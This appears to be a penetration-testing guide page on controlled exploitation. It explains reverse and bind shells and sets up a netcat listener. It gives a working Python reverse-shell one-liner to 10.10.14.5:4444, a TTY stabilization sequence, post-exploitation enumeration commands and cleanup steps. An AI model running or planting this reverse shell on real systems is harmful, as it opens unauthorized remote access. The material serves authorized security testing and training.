Controlled Exploitation & Post-Exploitation
In ethical penetration testing and security research, exploitation is executed strictly as a controlled proof of concept to demonstrate impact, assess organizational risk, and validate defensive controls. It is never destructive.
Reverse Shells vs Bind Shells
Section titled “Reverse Shells vs Bind Shells”flowchart TD subgraph Reverse["Reverse Shell (Target Connects Outbound)"] Attacker1["Tester Listener (nc -lvnp 4444)"] <-- Outbound["Outbound TCP (Bypasses Inbound Firewall)"] --- Victim1["Vulnerable Host"] end
subgraph Bind["Bind Shell (Target Listens Inbound)"] Attacker2["Tester Client (nc victim 4444)"] --- Inbound["Inbound TCP (Blocked by Inbound Firewall)"] --> Victim2["Vulnerable Host Port 4444"] end- Reverse Shell: The target host initiates an outbound TCP/UDP connection back to the tester’s workstation. This is commonly preferred because egress firewall rules frequently permit outbound connections on ports such as 80, 443, or 53.
- Bind Shell: The target host binds a shell listener directly to a local port. If network firewalls or NAT boundaries protect the target, external connections will fail.
Listener Setup & Connection Handling
Section titled “Listener Setup & Connection Handling”Netcat Listener
Section titled “Netcat Listener”To catch an outbound reverse shell on your testing system:
# -l: Listen mode# -v: Verbose output# -n: Numeric IP only (suppresses slow DNS resolution)# -p: Local port to bindnc -lvnp 4444Python Interactive Reverse Shell (Authorized Labs)
Section titled “Python Interactive Reverse Shell (Authorized Labs)”When command injection is verified on a Linux target in an authorized laboratory:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'Stabilizing a Dumb Shell into Full Interactive TTY
Section titled “Stabilizing a Dumb Shell into Full Interactive TTY”Default Netcat reverse shells lack job control, line-editing, tab completion, and signal handling. Hitting Ctrl+C inside an un-upgraded shell terminates the Netcat process and destroys the connection.
Step-by-Step TTY Upgrade Sequence
Section titled “Step-by-Step TTY Upgrade Sequence”- Inside the active Netcat reverse shell, spawn a Python pseudo-terminal:
Terminal window python3 -c 'import pty; pty.spawn("/bin/bash")' - Background the Netcat process:
Terminal window Ctrl + Z - On your local workstation terminal, configure raw keyboard input and disable local echo:
Terminal window stty raw -echo; fg - Reset and configure environment variables in the newly restored shell:
Terminal window resetexport TERM=xterm-256colorexport SHELL=/bin/bash - Match the remote terminal window dimensions to your local display:
Terminal window # On local terminal: check dimensions with 'stty size' (e.g., 38 120)# Inside remote reverse shell:stty rows 38 cols 120
Post-Exploitation Triage
Section titled “Post-Exploitation Triage”After establishing an interactive session, gather telemetry to document risk without disturbing host stability:
# 1. User context, group memberships, and capabilitieswhoami && id
# 2. Kernel version and OS architectureuname -a && cat /etc/os-release
# 3. Active network interfaces and routing tableip a && ip route
# 4. Internal listening sockets (look for 127.0.0.1 services)ss -tulpnOperational Cleanup & Remediation
Section titled “Operational Cleanup & Remediation”When vulnerability validation is complete, follow strict operational hygiene:
- Terminate Spawned Processes: Kill backgrounded shells and listeners (
kill -9 <PID>). - Remove Artifacts: Delete all dropped test scripts, compiled binaries, and temporary files from
/tmpor/dev/shm. - Restore Modified Configs: If configuration files were modified for demonstration purposes, restore them to their baseline states.
- Encrypt Documentation: Encrypt screenshots and evidence logs with AES-256 or GPG prior to transmission.